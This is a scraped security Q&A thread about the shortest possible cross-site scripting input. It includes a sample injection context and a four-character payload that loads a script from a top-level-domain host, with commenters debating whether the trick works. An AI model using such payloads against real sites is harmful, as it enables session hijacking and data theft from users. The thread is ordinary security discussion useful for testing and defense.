text: web application - What is the shortest malicious XSS possible? - Information Security Stack Exchange
  Sometimes you stumble upon input fields that don't escape input properly, but who still appear to be to short to actually be used for anything malicious, at least to someone with my limited imagination.
  This made me wonder what is the shortest possible input field that can be used to perform a malicious XSS?
  asked Dec 1, 2014 at 19:38
  There are a few resources that discuss this: labs.neohapsis.com/2012/04/19/xss-shortening-cheatsheet
  Because it is dependent on the resources available on the web server, this question might be a little broad.
  Dec 1, 2014 at 20:21
  Dec 3, 2014 at 7:16
  <script src="%XSS%"></script>
  Let's say you are the owner/maintainer/administrator of http://.to (Tonga gTLD).
  <script src="//to"></script>
  XSS with 4 chars. Probably one of the shortest possible.
  There are dozens of other contexts.
  Tested on Chrome 38.0.2125.122 (Mac OS X 10.8.5)
  edited Dec 3, 2014 at 5:42
  answered Dec 1, 2014 at 23:42
  Why do you think to would be completed to to.com?
  @Gumbo My mistake, I edited the answer. to is a gTLD.
  Dec 2, 2014 at 1:40
  I don't understand the answer, what exactly did you inject? Just the string //to? Why not have the context be <script src="//t%XSS%"></script> and then inject the letter o? Wouldn't that be only 1 character then?
  Dec 2, 2014 at 5:44
  @jake192 Did you already see your example? Because I already found a bug in Google that proves my point, but in this case I had unlimited chars to exploit the bug, so this is just an example of a short XSS.